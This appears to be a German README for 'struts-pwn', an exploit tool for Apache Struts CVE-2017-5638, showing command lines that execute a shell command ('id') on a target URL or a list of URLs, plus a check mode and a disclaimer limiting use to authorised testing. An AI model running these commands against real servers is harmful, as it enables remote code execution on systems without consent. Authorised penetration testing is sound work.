
Ein Exploit für Apache Struts CVE-2017-5638
python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'
python struts-pwn.py --list 'urls.txt' -c 'id'
python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'
python struts-pwn.py --check --list 'urls.txt'
Dieses Projekt dient ausschließlich zu Bildungs- und ethischen Testzwecken. Die Verwendung von struts-pwn zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und nationalen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
Das Projekt ist unter der MIT-Lizenz lizenziert.
Mazin Ahmed